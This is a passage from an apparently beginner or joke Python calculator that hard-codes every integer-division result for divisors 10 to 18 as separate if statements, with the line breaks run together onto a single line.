print("41 / 10 = 4") if firstNum == 42 and sign == "/" and secondNum == 10 : print("42 / 10 = 4") if firstNum == 43 and sign == "/" and secondNum == 10 : print("43 / 10 = 4") if firstNum == 44 and sign == "/" and secondNum == 10 : print("44 / 10 = 4") if firstNum == 45 and sign == "/" and secondNum == 10 : print("45 / 10 = 4") if firstNum == 46 and sign == "/" and secondNum == 10 : print("46 / 10 = 4") if firstNum == 47 and sign == "/" and secondNum == 10 : print("47 / 10 = 4") if firstNum == 48 and sign == "/" and secondNum == 10 : print("48 / 10 = 4") if firstNum == 49 and sign == "/" and secondNum == 10 : print("49 / 10 = 4") if firstNum == 50 and sign == "/" and secondNum == 10 : print("50 / 10 = 5") if firstNum == 0 and sign == "/" and secondNum == 11 : print("0 / 11 = 0") if firstNum == 1 and sign == "/" and secondNum == 11 : print("1 / 11 = 0") if firstNum == 2 and sign == "/" and secondNum == 11 : print("2 / 11 = 0") if firstNum == 3 and sign == "/" and secondNum == 11 : print("3 / 11 = 0") if firstNum == 4 and sign == "/" and secondNum == 11 : print("4 / 11 = 0") if firstNum == 5 and sign == "/" and secondNum == 11 : print("5 / 11 = 0") if firstNum == 6 and sign == "/" and secondNum == 11 : print("6 / 11 = 0") if firstNum == 7 and sign == "/" and secondNum == 11 : print("7 / 11 = 0") if firstNum == 8 and sign == "/" and secondNum == 11 : print("8 / 11 = 0") if firstNum == 9 and sign == "/" and secondNum == 11 : print("9 / 11 = 0") if firstNum == 10 and sign == "/" and secondNum == 11 : print("10 / 11 = 0") if firstNum == 11 and sign == "/" and secondNum == 11 : print("11 / 11 = 1") if firstNum == 12 and sign == "/" and secondNum == 11 : print("12 / 11 = 1") if firstNum == 13 and sign == "/" and secondNum == 11 : print("13 / 11 = 1") if firstNum == 14 and sign == "/" and secondNum == 11 : print("14 / 11 = 1") if firstNum == 15 and sign == "/" and secondNum == 11 : print("15 / 11 = 1") if firstNum == 16 and sign == "/" and secondNum == 11 : print("16 / 11 = 1") if firstNum == 17 and sign == "/" and secondNum == 11 : print("17 / 11 = 1") if firstNum == 18 and sign == "/" and secondNum == 11 : print("18 / 11 = 1") if firstNum == 19 and sign == "/" and secondNum == 11 : print("19 / 11 = 1") if firstNum == 20 and sign == "/" and secondNum == 11 : print("20 / 11 = 1") if firstNum == 21 and sign == "/" and secondNum == 11 : print("21 / 11 = 1") if firstNum == 22 and sign == "/" and secondNum == 11 : print("22 / 11 = 2") if firstNum == 23 and sign == "/" and secondNum == 11 : print("23 / 11 = 2") if firstNum == 24 and sign == "/" and secondNum == 11 : print("24 / 11 = 2") if firstNum == 25 and sign == "/" and secondNum == 11 : print("25 / 11 = 2") if firstNum == 26 and sign == "/" and secondNum == 11 : print("26 / 11 = 2") if firstNum == 27 and sign == "/" and secondNum == 11 : print("27 / 11 = 2") if firstNum == 28 and sign == "/" and secondNum == 11 : print("28 / 11 = 2") if firstNum == 29 and sign == "/" and secondNum == 11 : print("29 / 11 = 2") if firstNum == 30 and sign == "/" and secondNum == 11 : print("30 / 11 = 2") if firstNum == 31 and sign == "/" and secondNum == 11 : print("31 / 11 = 2") if firstNum == 32 and sign == "/" and secondNum == 11 : print("32 / 11 = 2") if firstNum == 33 and sign == "/" and secondNum == 11 : print("33 / 11 = 3") if firstNum == 34 and sign == "/" and secondNum == 11 : print("34 / 11 = 3") if firstNum == 35 and sign == "/" and secondNum == 11 : print("35 / 11 = 3") if firstNum == 36 and sign == "/" and secondNum == 11 : print("36 / 11 = 3") if firstNum == 37 and sign == "/" and secondNum == 11 : print("37 / 11 = 3") if firstNum == 38 and sign == "/" and secondNum == 11 : print("38 / 11 = 3") if firstNum == 39 and sign == "/" and secondNum == 11 : print("39 / 11 = 3") if firstNum == 40 and sign == "/" and secondNum == 11 : print("40 / 11 = 3") if firstNum == 41 and sign == "/" and secondNum == 11 : print("41 / 11 = 3") if firstNum == 42 and sign == "/" and secondNum == 11 : print("42 / 11 = 3") if firstNum == 43 and sign == "/" and secondNum == 11 : print("43 / 11 = 3") if firstNum == 44 and sign == "/" and secondNum == 11 : print("44 / 11 = 4") if firstNum == 45 and sign == "/" and secondNum == 11 : print("45 / 11 = 4") if firstNum == 46 and sign == "/" and secondNum == 11 : print("46 / 11 = 4") if firstNum == 47 and sign == "/" and secondNum == 11 : print("47 / 11 = 4") if firstNum == 48 and sign == "/" and secondNum == 11 : print("48 / 11 = 4") if firstNum == 49 and sign == "/" and secondNum == 11 : print("49 / 11 = 4") if firstNum == 50 and sign == "/" and secondNum == 11 : print("50 / 11 = 4") if firstNum == 0 and sign == "/" and secondNum == 12 : print("0 / 12 = 0") if firstNum == 1 and sign == "/" and secondNum == 12 : print("1 / 12 = 0") if firstNum == 2 and sign == "/" and secondNum == 12 : print("2 / 12 = 0") if firstNum == 3 and sign == "/" and secondNum == 12 : print("3 / 12 = 0") if firstNum == 4 and sign == "/" and secondNum == 12 : print("4 / 12 = 0") if firstNum == 5 and sign == "/" and secondNum == 12 : print("5 / 12 = 0") if firstNum == 6 and sign == "/" and secondNum == 12 : print("6 / 12 = 0") if firstNum == 7 and sign == "/" and secondNum == 12 : print("7 / 12 = 0") if firstNum == 8 and sign == "/" and secondNum == 12 : print("8 / 12 = 0") if firstNum == 9 and sign == "/" and secondNum == 12 : print("9 / 12 = 0") if firstNum == 10 and sign == "/" and secondNum == 12 : print("10 / 12 = 0") if firstNum == 11 and sign == "/" and secondNum == 12 : print("11 / 12 = 0") if firstNum == 12 and sign == "/" and secondNum == 12 : print("12 / 12 = 1") if firstNum == 13 and sign == "/" and secondNum == 12 : print("13 / 12 = 1") if firstNum == 14 and sign == "/" and secondNum == 12 : print("14 / 12 = 1") if firstNum == 15 and sign == "/" and secondNum == 12 : print("15 / 12 = 1") if firstNum == 16 and sign == "/" and secondNum == 12 : print("16 / 12 = 1") if firstNum == 17 and sign == "/" and secondNum == 12 : print("17 / 12 = 1") if firstNum == 18 and sign == "/" and secondNum == 12 : print("18 / 12 = 1") if firstNum == 19 and sign == "/" and secondNum == 12 : print("19 / 12 = 1") if firstNum == 20 and sign == "/" and secondNum == 12 : print("20 / 12 = 1") if firstNum == 21 and sign == "/" and secondNum == 12 : print("21 / 12 = 1") if firstNum == 22 and sign == "/" and secondNum == 12 : print("22 / 12 = 1") if firstNum == 23 and sign == "/" and secondNum == 12 : print("23 / 12 = 1") if firstNum == 24 and sign == "/" and secondNum == 12 : print("24 / 12 = 2") if firstNum == 25 and sign == "/" and secondNum == 12 : print("25 / 12 = 2") if firstNum == 26 and sign == "/" and secondNum == 12 : print("26 / 12 = 2") if firstNum == 27 and sign == "/" and secondNum == 12 : print("27 / 12 = 2") if firstNum == 28 and sign == "/" and secondNum == 12 : print("28 / 12 = 2") if firstNum == 29 and sign == "/" and secondNum == 12 : print("29 / 12 = 2") if firstNum == 30 and sign == "/" and secondNum == 12 : print("30 / 12 = 2") if firstNum == 31 and sign == "/" and secondNum == 12 : print("31 / 12 = 2") if firstNum == 32 and sign == "/" and secondNum == 12 : print("32 / 12 = 2") if firstNum == 33 and sign == "/" and secondNum == 12 : print("33 / 12 = 2") if firstNum == 34 and sign == "/" and secondNum == 12 : print("34 / 12 = 2") if firstNum == 35 and sign == "/" and secondNum == 12 : print("35 / 12 = 2") if firstNum == 36 and sign == "/" and secondNum == 12 : print("36 / 12 = 3") if firstNum == 37 and sign == "/" and secondNum == 12 : print("37 / 12 = 3") if firstNum == 38 and sign == "/" and secondNum == 12 : print("38 / 12 = 3") if firstNum == 39 and sign == "/" and secondNum == 12 : print("39 / 12 = 3") if firstNum == 40 and sign == "/" and secondNum == 12 : print("40 / 12 = 3") if firstNum == 41 and sign == "/" and secondNum == 12 : print("41 / 12 = 3") if firstNum == 42 and sign == "/" and secondNum == 12 : print("42 / 12 = 3") if firstNum == 43 and sign == "/" and secondNum == 12 : print("43 / 12 = 3") if firstNum == 44 and sign == "/" and secondNum == 12 : print("44 / 12 = 3") if firstNum == 45 and sign == "/" and secondNum == 12 : print("45 / 12 = 3") if firstNum == 46 and sign == "/" and secondNum == 12 : print("46 / 12 = 3") if firstNum == 47 and sign == "/" and secondNum == 12 : print("47 / 12 = 3") if firstNum == 48 and sign == "/" and secondNum == 12 : print("48 / 12 = 4") if firstNum == 49 and sign == "/" and secondNum == 12 : print("49 / 12 = 4") if firstNum == 50 and sign == "/" and secondNum == 12 : print("50 / 12 = 4") if firstNum == 0 and sign == "/" and secondNum == 13 : print("0 / 13 = 0") if firstNum == 1 and sign == "/" and secondNum == 13 : print("1 / 13 = 0") if firstNum == 2 and sign == "/" and secondNum == 13 : print("2 / 13 = 0") if firstNum == 3 and sign == "/" and secondNum == 13 : print("3 / 13 = 0") if firstNum == 4 and sign == "/" and secondNum == 13 : print("4 / 13 = 0") if firstNum == 5 and sign == "/" and secondNum == 13 : print("5 / 13 = 0") if firstNum == 6 and sign == "/" and secondNum == 13 : print("6 / 13 = 0") if firstNum == 7 and sign == "/" and secondNum == 13 : print("7 / 13 = 0") if firstNum == 8 and sign == "/" and secondNum == 13 : print("8 / 13 = 0") if firstNum == 9 and sign == "/" and secondNum == 13 : print("9 / 13 = 0") if firstNum == 10 and sign == "/" and secondNum == 13 : print("10 / 13 = 0") if firstNum == 11 and sign == "/" and secondNum == 13 : print("11 / 13 = 0") if firstNum == 12 and sign == "/" and secondNum == 13 : print("12 / 13 = 0") if firstNum == 13 and sign == "/" and secondNum == 13 : print("13 / 13 = 1") if firstNum == 14 and sign == "/" and secondNum == 13 : print("14 / 13 = 1") if firstNum == 15 and sign == "/" and secondNum == 13 : print("15 / 13 = 1") if firstNum == 16 and sign == "/" and secondNum == 13 : print("16 / 13 = 1") if firstNum == 17 and sign == "/" and secondNum == 13 : print("17 / 13 = 1") if firstNum == 18 and sign == "/" and secondNum == 13 : print("18 / 13 = 1") if firstNum == 19 and sign == "/" and secondNum == 13 : print("19 / 13 = 1") if firstNum == 20 and sign == "/" and secondNum == 13 : print("20 / 13 = 1") if firstNum == 21 and sign == "/" and secondNum == 13 : print("21 / 13 = 1") if firstNum == 22 and sign == "/" and secondNum == 13 : print("22 / 13 = 1") if firstNum == 23 and sign == "/" and secondNum == 13 : print("23 / 13 = 1") if firstNum == 24 and sign == "/" and secondNum == 13 : print("24 / 13 = 1") if firstNum == 25 and sign == "/" and secondNum == 13 : print("25 / 13 = 1") if firstNum == 26 and sign == "/" and secondNum == 13 : print("26 / 13 = 2") if firstNum == 27 and sign == "/" and secondNum == 13 : print("27 / 13 = 2") if firstNum == 28 and sign == "/" and secondNum == 13 : print("28 / 13 = 2") if firstNum == 29 and sign == "/" and secondNum == 13 : print("29 / 13 = 2") if firstNum == 30 and sign == "/" and secondNum == 13 : print("30 / 13 = 2") if firstNum == 31 and sign == "/" and secondNum == 13 : print("31 / 13 = 2") if firstNum == 32 and sign == "/" and secondNum == 13 : print("32 / 13 = 2") if firstNum == 33 and sign == "/" and secondNum == 13 : print("33 / 13 = 2") if firstNum == 34 and sign == "/" and secondNum == 13 : print("34 / 13 = 2") if firstNum == 35 and sign == "/" and secondNum == 13 : print("35 / 13 = 2") if firstNum == 36 and sign == "/" and secondNum == 13 : print("36 / 13 = 2") if firstNum == 37 and sign == "/" and secondNum == 13 : print("37 / 13 = 2") if firstNum == 38 and sign == "/" and secondNum == 13 : print("38 / 13 = 2") if firstNum == 39 and sign == "/" and secondNum == 13 : print("39 / 13 = 3") if firstNum == 40 and sign == "/" and secondNum == 13 : print("40 / 13 = 3") if firstNum == 41 and sign == "/" and secondNum == 13 : print("41 / 13 = 3") if firstNum == 42 and sign == "/" and secondNum == 13 : print("42 / 13 = 3") if firstNum == 43 and sign == "/" and secondNum == 13 : print("43 / 13 = 3") if firstNum == 44 and sign == "/" and secondNum == 13 : print("44 / 13 = 3") if firstNum == 45 and sign == "/" and secondNum == 13 : print("45 / 13 = 3") if firstNum == 46 and sign == "/" and secondNum == 13 : print("46 / 13 = 3") if firstNum == 47 and sign == "/" and secondNum == 13 : print("47 / 13 = 3") if firstNum == 48 and sign == "/" and secondNum == 13 : print("48 / 13 = 3") if firstNum == 49 and sign == "/" and secondNum == 13 : print("49 / 13 = 3") if firstNum == 50 and sign == "/" and secondNum == 13 : print("50 / 13 = 3") if firstNum == 0 and sign == "/" and secondNum == 14 : print("0 / 14 = 0") if firstNum == 1 and sign == "/" and secondNum == 14 : print("1 / 14 = 0") if firstNum == 2 and sign == "/" and secondNum == 14 : print("2 / 14 = 0") if firstNum == 3 and sign == "/" and secondNum == 14 : print("3 / 14 = 0") if firstNum == 4 and sign == "/" and secondNum == 14 : print("4 / 14 = 0") if firstNum == 5 and sign == "/" and secondNum == 14 : print("5 / 14 = 0") if firstNum == 6 and sign == "/" and secondNum == 14 : print("6 / 14 = 0") if firstNum == 7 and sign == "/" and secondNum == 14 : print("7 / 14 = 0") if firstNum == 8 and sign == "/" and secondNum == 14 : print("8 / 14 = 0") if firstNum == 9 and sign == "/" and secondNum == 14 : print("9 / 14 = 0") if firstNum == 10 and sign == "/" and secondNum == 14 : print("10 / 14 = 0") if firstNum == 11 and sign == "/" and secondNum == 14 : print("11 / 14 = 0") if firstNum == 12 and sign == "/" and secondNum == 14 : print("12 / 14 = 0") if firstNum == 13 and sign == "/" and secondNum == 14 : print("13 / 14 = 0") if firstNum == 14 and sign == "/" and secondNum == 14 : print("14 / 14 = 1") if firstNum == 15 and sign == "/" and secondNum == 14 : print("15 / 14 = 1") if firstNum == 16 and sign == "/" and secondNum == 14 : print("16 / 14 = 1") if firstNum == 17 and sign == "/" and secondNum == 14 : print("17 / 14 = 1") if firstNum == 18 and sign == "/" and secondNum == 14 : print("18 / 14 = 1") if firstNum == 19 and sign == "/" and secondNum == 14 : print("19 / 14 = 1") if firstNum == 20 and sign == "/" and secondNum == 14 : print("20 / 14 = 1") if firstNum == 21 and sign == "/" and secondNum == 14 : print("21 / 14 = 1") if firstNum == 22 and sign == "/" and secondNum == 14 : print("22 / 14 = 1") if firstNum == 23 and sign == "/" and secondNum == 14 : print("23 / 14 = 1") if firstNum == 24 and sign == "/" and secondNum == 14 : print("24 / 14 = 1") if firstNum == 25 and sign == "/" and secondNum == 14 : print("25 / 14 = 1") if firstNum == 26 and sign == "/" and secondNum == 14 : print("26 / 14 = 1") if firstNum == 27 and sign == "/" and secondNum == 14 : print("27 / 14 = 1") if firstNum == 28 and sign == "/" and secondNum == 14 : print("28 / 14 = 2") if firstNum == 29 and sign == "/" and secondNum == 14 : print("29 / 14 = 2") if firstNum == 30 and sign == "/" and secondNum == 14 : print("30 / 14 = 2") if firstNum == 31 and sign == "/" and secondNum == 14 : print("31 / 14 = 2") if firstNum == 32 and sign == "/" and secondNum == 14 : print("32 / 14 = 2") if firstNum == 33 and sign == "/" and secondNum == 14 : print("33 / 14 = 2") if firstNum == 34 and sign == "/" and secondNum == 14 : print("34 / 14 = 2") if firstNum == 35 and sign == "/" and secondNum == 14 : print("35 / 14 = 2") if firstNum == 36 and sign == "/" and secondNum == 14 : print("36 / 14 = 2") if firstNum == 37 and sign == "/" and secondNum == 14 : print("37 / 14 = 2") if firstNum == 38 and sign == "/" and secondNum == 14 : print("38 / 14 = 2") if firstNum == 39 and sign == "/" and secondNum == 14 : print("39 / 14 = 2") if firstNum == 40 and sign == "/" and secondNum == 14 : print("40 / 14 = 2") if firstNum == 41 and sign == "/" and secondNum == 14 : print("41 / 14 = 2") if firstNum == 42 and sign == "/" and secondNum == 14 : print("42 / 14 = 3") if firstNum == 43 and sign == "/" and secondNum == 14 : print("43 / 14 = 3") if firstNum == 44 and sign == "/" and secondNum == 14 : print("44 / 14 = 3") if firstNum == 45 and sign == "/" and secondNum == 14 : print("45 / 14 = 3") if firstNum == 46 and sign == "/" and secondNum == 14 : print("46 / 14 = 3") if firstNum == 47 and sign == "/" and secondNum == 14 : print("47 / 14 = 3") if firstNum == 48 and sign == "/" and secondNum == 14 : print("48 / 14 = 3") if firstNum == 49 and sign == "/" and secondNum == 14 : print("49 / 14 = 3") if firstNum == 50 and sign == "/" and secondNum == 14 : print("50 / 14 = 3") if firstNum == 0 and sign == "/" and secondNum == 15 : print("0 / 15 = 0") if firstNum == 1 and sign == "/" and secondNum == 15 : print("1 / 15 = 0") if firstNum == 2 and sign == "/" and secondNum == 15 : print("2 / 15 = 0") if firstNum == 3 and sign == "/" and secondNum == 15 : print("3 / 15 = 0") if firstNum == 4 and sign == "/" and secondNum == 15 : print("4 / 15 = 0") if firstNum == 5 and sign == "/" and secondNum == 15 : print("5 / 15 = 0") if firstNum == 6 and sign == "/" and secondNum == 15 : print("6 / 15 = 0") if firstNum == 7 and sign == "/" and secondNum == 15 : print("7 / 15 = 0") if firstNum == 8 and sign == "/" and secondNum == 15 : print("8 / 15 = 0") if firstNum == 9 and sign == "/" and secondNum == 15 : print("9 / 15 = 0") if firstNum == 10 and sign == "/" and secondNum == 15 : print("10 / 15 = 0") if firstNum == 11 and sign == "/" and secondNum == 15 : print("11 / 15 = 0") if firstNum == 12 and sign == "/" and secondNum == 15 : print("12 / 15 = 0") if firstNum == 13 and sign == "/" and secondNum == 15 : print("13 / 15 = 0") if firstNum == 14 and sign == "/" and secondNum == 15 : print("14 / 15 = 0") if firstNum == 15 and sign == "/" and secondNum == 15 : print("15 / 15 = 1") if firstNum == 16 and sign == "/" and secondNum == 15 : print("16 / 15 = 1") if firstNum == 17 and sign == "/" and secondNum == 15 : print("17 / 15 = 1") if firstNum == 18 and sign == "/" and secondNum == 15 : print("18 / 15 = 1") if firstNum == 19 and sign == "/" and secondNum == 15 : print("19 / 15 = 1") if firstNum == 20 and sign == "/" and secondNum == 15 : print("20 / 15 = 1") if firstNum == 21 and sign == "/" and secondNum == 15 : print("21 / 15 = 1") if firstNum == 22 and sign == "/" and secondNum == 15 : print("22 / 15 = 1") if firstNum == 23 and sign == "/" and secondNum == 15 : print("23 / 15 = 1") if firstNum == 24 and sign == "/" and secondNum == 15 : print("24 / 15 = 1") if firstNum == 25 and sign == "/" and secondNum == 15 : print("25 / 15 = 1") if firstNum == 26 and sign == "/" and secondNum == 15 : print("26 / 15 = 1") if firstNum == 27 and sign == "/" and secondNum == 15 : print("27 / 15 = 1") if firstNum == 28 and sign == "/" and secondNum == 15 : print("28 / 15 = 1") if firstNum == 29 and sign == "/" and secondNum == 15 : print("29 / 15 = 1") if firstNum == 30 and sign == "/" and secondNum == 15 : print("30 / 15 = 2") if firstNum == 31 and sign == "/" and secondNum == 15 : print("31 / 15 = 2") if firstNum == 32 and sign == "/" and secondNum == 15 : print("32 / 15 = 2") if firstNum == 33 and sign == "/" and secondNum == 15 : print("33 / 15 = 2") if firstNum == 34 and sign == "/" and secondNum == 15 : print("34 / 15 = 2") if firstNum == 35 and sign == "/" and secondNum == 15 : print("35 / 15 = 2") if firstNum == 36 and sign == "/" and secondNum == 15 : print("36 / 15 = 2") if firstNum == 37 and sign == "/" and secondNum == 15 : print("37 / 15 = 2") if firstNum == 38 and sign == "/" and secondNum == 15 : print("38 / 15 = 2") if firstNum == 39 and sign == "/" and secondNum == 15 : print("39 / 15 = 2") if firstNum == 40 and sign == "/" and secondNum == 15 : print("40 / 15 = 2") if firstNum == 41 and sign == "/" and secondNum == 15 : print("41 / 15 = 2") if firstNum == 42 and sign == "/" and secondNum == 15 : print("42 / 15 = 2") if firstNum == 43 and sign == "/" and secondNum == 15 : print("43 / 15 = 2") if firstNum == 44 and sign == "/" and secondNum == 15 : print("44 / 15 = 2") if firstNum == 45 and sign == "/" and secondNum == 15 : print("45 / 15 = 3") if firstNum == 46 and sign == "/" and secondNum == 15 : print("46 / 15 = 3") if firstNum == 47 and sign == "/" and secondNum == 15 : print("47 / 15 = 3") if firstNum == 48 and sign == "/" and secondNum == 15 : print("48 / 15 = 3") if firstNum == 49 and sign == "/" and secondNum == 15 : print("49 / 15 = 3") if firstNum == 50 and sign == "/" and secondNum == 15 : print("50 / 15 = 3") if firstNum == 0 and sign == "/" and secondNum == 16 : print("0 / 16 = 0") if firstNum == 1 and sign == "/" and secondNum == 16 : print("1 / 16 = 0") if firstNum == 2 and sign == "/" and secondNum == 16 : print("2 / 16 = 0") if firstNum == 3 and sign == "/" and secondNum == 16 : print("3 / 16 = 0") if firstNum == 4 and sign == "/" and secondNum == 16 : print("4 / 16 = 0") if firstNum == 5 and sign == "/" and secondNum == 16 : print("5 / 16 = 0") if firstNum == 6 and sign == "/" and secondNum == 16 : print("6 / 16 = 0") if firstNum == 7 and sign == "/" and secondNum == 16 : print("7 / 16 = 0") if firstNum == 8 and sign == "/" and secondNum == 16 : print("8 / 16 = 0") if firstNum == 9 and sign == "/" and secondNum == 16 : print("9 / 16 = 0") if firstNum == 10 and sign == "/" and secondNum == 16 : print("10 / 16 = 0") if firstNum == 11 and sign == "/" and secondNum == 16 : print("11 / 16 = 0") if firstNum == 12 and sign == "/" and secondNum == 16 : print("12 / 16 = 0") if firstNum == 13 and sign == "/" and secondNum == 16 : print("13 / 16 = 0") if firstNum == 14 and sign == "/" and secondNum == 16 : print("14 / 16 = 0") if firstNum == 15 and sign == "/" and secondNum == 16 : print("15 / 16 = 0") if firstNum == 16 and sign == "/" and secondNum == 16 : print("16 / 16 = 1") if firstNum == 17 and sign == "/" and secondNum == 16 : print("17 / 16 = 1") if firstNum == 18 and sign == "/" and secondNum == 16 : print("18 / 16 = 1") if firstNum == 19 and sign == "/" and secondNum == 16 : print("19 / 16 = 1") if firstNum == 20 and sign == "/" and secondNum == 16 : print("20 / 16 = 1") if firstNum == 21 and sign == "/" and secondNum == 16 : print("21 / 16 = 1") if firstNum == 22 and sign == "/" and secondNum == 16 : print("22 / 16 = 1") if firstNum == 23 and sign == "/" and secondNum == 16 : print("23 / 16 = 1") if firstNum == 24 and sign == "/" and secondNum == 16 : print("24 / 16 = 1") if firstNum == 25 and sign == "/" and secondNum == 16 : print("25 / 16 = 1") if firstNum == 26 and sign == "/" and secondNum == 16 : print("26 / 16 = 1") if firstNum == 27 and sign == "/" and secondNum == 16 : print("27 / 16 = 1") if firstNum == 28 and sign == "/" and secondNum == 16 : print("28 / 16 = 1") if firstNum == 29 and sign == "/" and secondNum == 16 : print("29 / 16 = 1") if firstNum == 30 and sign == "/" and secondNum == 16 : print("30 / 16 = 1") if firstNum == 31 and sign == "/" and secondNum == 16 : print("31 / 16 = 1") if firstNum == 32 and sign == "/" and secondNum == 16 : print("32 / 16 = 2") if firstNum == 33 and sign == "/" and secondNum == 16 : print("33 / 16 = 2") if firstNum == 34 and sign == "/" and secondNum == 16 : print("34 / 16 = 2") if firstNum == 35 and sign == "/" and secondNum == 16 : print("35 / 16 = 2") if firstNum == 36 and sign == "/" and secondNum == 16 : print("36 / 16 = 2") if firstNum == 37 and sign == "/" and secondNum == 16 : print("37 / 16 = 2") if firstNum == 38 and sign == "/" and secondNum == 16 : print("38 / 16 = 2") if firstNum == 39 and sign == "/" and secondNum == 16 : print("39 / 16 = 2") if firstNum == 40 and sign == "/" and secondNum == 16 : print("40 / 16 = 2") if firstNum == 41 and sign == "/" and secondNum == 16 : print("41 / 16 = 2") if firstNum == 42 and sign == "/" and secondNum == 16 : print("42 / 16 = 2") if firstNum == 43 and sign == "/" and secondNum == 16 : print("43 / 16 = 2") if firstNum == 44 and sign == "/" and secondNum == 16 : print("44 / 16 = 2") if firstNum == 45 and sign == "/" and secondNum == 16 : print("45 / 16 = 2") if firstNum == 46 and sign == "/" and secondNum == 16 : print("46 / 16 = 2") if firstNum == 47 and sign == "/" and secondNum == 16 : print("47 / 16 = 2") if firstNum == 48 and sign == "/" and secondNum == 16 : print("48 / 16 = 3") if firstNum == 49 and sign == "/" and secondNum == 16 : print("49 / 16 = 3") if firstNum == 50 and sign == "/" and secondNum == 16 : print("50 / 16 = 3") if firstNum == 0 and sign == "/" and secondNum == 17 : print("0 / 17 = 0") if firstNum == 1 and sign == "/" and secondNum == 17 : print("1 / 17 = 0") if firstNum == 2 and sign == "/" and secondNum == 17 : print("2 / 17 = 0") if firstNum == 3 and sign == "/" and secondNum == 17 : print("3 / 17 = 0") if firstNum == 4 and sign == "/" and secondNum == 17 : print("4 / 17 = 0") if firstNum == 5 and sign == "/" and secondNum == 17 : print("5 / 17 = 0") if firstNum == 6 and sign == "/" and secondNum == 17 : print("6 / 17 = 0") if firstNum == 7 and sign == "/" and secondNum == 17 : print("7 / 17 = 0") if firstNum == 8 and sign == "/" and secondNum == 17 : print("8 / 17 = 0") if firstNum == 9 and sign == "/" and secondNum == 17 : print("9 / 17 = 0") if firstNum == 10 and sign == "/" and secondNum == 17 : print("10 / 17 = 0") if firstNum == 11 and sign == "/" and secondNum == 17 : print("11 / 17 = 0") if firstNum == 12 and sign == "/" and secondNum == 17 : print("12 / 17 = 0") if firstNum == 13 and sign == "/" and secondNum == 17 : print("13 / 17 = 0") if firstNum == 14 and sign == "/" and secondNum == 17 : print("14 / 17 = 0") if firstNum == 15 and sign == "/" and secondNum == 17 : print("15 / 17 = 0") if firstNum == 16 and sign == "/" and secondNum == 17 : print("16 / 17 = 0") if firstNum == 17 and sign == "/" and secondNum == 17 : print("17 / 17 = 1") if firstNum == 18 and sign == "/" and secondNum == 17 : print("18 / 17 = 1") if firstNum == 19 and sign == "/" and secondNum == 17 : print("19 / 17 = 1") if firstNum == 20 and sign == "/" and secondNum == 17 : print("20 / 17 = 1") if firstNum == 21 and sign == "/" and secondNum == 17 : print("21 / 17 = 1") if firstNum == 22 and sign == "/" and secondNum == 17 : print("22 / 17 = 1") if firstNum == 23 and sign == "/" and secondNum == 17 : print("23 / 17 = 1") if firstNum == 24 and sign == "/" and secondNum == 17 : print("24 / 17 = 1") if firstNum == 25 and sign == "/" and secondNum == 17 : print("25 / 17 = 1") if firstNum == 26 and sign == "/" and secondNum == 17 : print("26 / 17 = 1") if firstNum == 27 and sign == "/" and secondNum == 17 : print("27 / 17 = 1") if firstNum == 28 and sign == "/" and secondNum == 17 : print("28 / 17 = 1") if firstNum == 29 and sign == "/" and secondNum == 17 : print("29 / 17 = 1") if firstNum == 30 and sign == "/" and secondNum == 17 : print("30 / 17 = 1") if firstNum == 31 and sign == "/" and secondNum == 17 : print("31 / 17 = 1") if firstNum == 32 and sign == "/" and secondNum == 17 : print("32 / 17 = 1") if firstNum == 33 and sign == "/" and secondNum == 17 : print("33 / 17 = 1") if firstNum == 34 and sign == "/" and secondNum == 17 : print("34 / 17 = 2") if firstNum == 35 and sign == "/" and secondNum == 17 : print("35 / 17 = 2") if firstNum == 36 and sign == "/" and secondNum == 17 : print("36 / 17 = 2") if firstNum == 37 and sign == "/" and secondNum == 17 : print("37 / 17 = 2") if firstNum == 38 and sign == "/" and secondNum == 17 : print("38 / 17 = 2") if firstNum == 39 and sign == "/" and secondNum == 17 : print("39 / 17 = 2") if firstNum == 40 and sign == "/" and secondNum == 17 : print("40 / 17 = 2") if firstNum == 41 and sign == "/" and secondNum == 17 : print("41 / 17 = 2") if firstNum == 42 and sign == "/" and secondNum == 17 : print("42 / 17 = 2") if firstNum == 43 and sign == "/" and secondNum == 17 : print("43 / 17 = 2") if firstNum == 44 and sign == "/" and secondNum == 17 : print("44 / 17 = 2") if firstNum == 45 and sign == "/" and secondNum == 17 : print("45 / 17 = 2") if firstNum == 46 and sign == "/" and secondNum == 17 : print("46 / 17 = 2") if firstNum == 47 and sign == "/" and secondNum == 17 : print("47 / 17 = 2") if firstNum == 48 and sign == "/" and secondNum == 17 : print("48 / 17 = 2") if firstNum == 49 and sign == "/" and secondNum == 17 : print("49 / 17 = 2") if firstNum == 50 and sign == "/" and secondNum == 17 : print("50 / 17 = 2") if firstNum == 0 and sign == "/" and secondNum == 18 : print("0 / 18 = 0") if firstNum == 1 and sign == "/" and secondNum == 18 : print("1 / 18 = 0") if firstNum == 2 and sign == "/" and secondNum == 18 : print("2 / 18 = 0") if firstNum == 3 and sign == "/" and secondNum == 18 : print("3 / 18 = 0") if firstNum == 4 and sign == "/" and secondNum == 18 : print("4 / 18 = 0") if firstNum == 5 and sign == "/" and secondNum == 18 : print("5 / 18 = 0") if firstNum == 6 and sign == "/" and secondNum == 18 : print("6 / 18 = 0") if firstNum == 7 and sign == "/" and secondNum == 18 : print("7 / 18 = 0") if firstNum == 8 and sign == "/" and secondNum == 18 : print("8 / 18 = 0") if firstNum == 9 and sign == "/" and secondNum == 18 : print("9 / 18 = 0") if firstNum == 10 and sign == "/" and secondNum == 18 : print("10 / 18 = 0") if firstNum == 11 and sign == "/" and secondNum == 18 : print("11 / 18 = 0") if firstNum == 12 and sign == "/" and secondNum == 18 : print("12 / 18 = 0") if firstNum == 13 and sign == "/" and secondNum == 18 : print("13 / 18 = 0") if firstNum == 14 and sign == "/" and secondNum == 18 : print("14 / 18 = 0") if firstNum == 15 and sign == "/" and secondNum == 18 : print("15 / 18 = 0") if firstNum == 16 and sign == "/" and secondNum == 18 : print("16 / 18 = 0") if firstNum == 17 and sign == "/" and secondNum == 18 : print("17 / 18 = 0") if firstNum == 18 and sign == "/" and secondNum == 18 : print("18 / 18 = 1") if firstNum == 19 and sign == "/" and secondNum == 18 : print("19 / 18 = 1") if firstNum == 20 and sign == "/" and secondNum == 18 : print("20 / 18 = 1") if firstNum == 21 and sign == "/" and secondNum == 18 : print("21 / 18 = 1") if firstNum == 22 and sign == "/" and secondNum == 18 : print("22 / 18 = 1") if firstNum == 23 and sign == "/" and secondNum == 18 : print("23 / 18 = 1") if firstNum == 24 and sign == "/" and secondNum == 18 : print("24 / 18 = 1") if firstNum == 25 and sign == "/" and secondNum == 18 : print("25 / 18 = 1") if firstNum == 26 and sign == "/" and secondNum == 18 : print("26 / 18 = 1") if firstNum == 27 and sign == "/" and secondNum == 18 : print("27 / 18 = 1") if firstNum == 28 and sign == 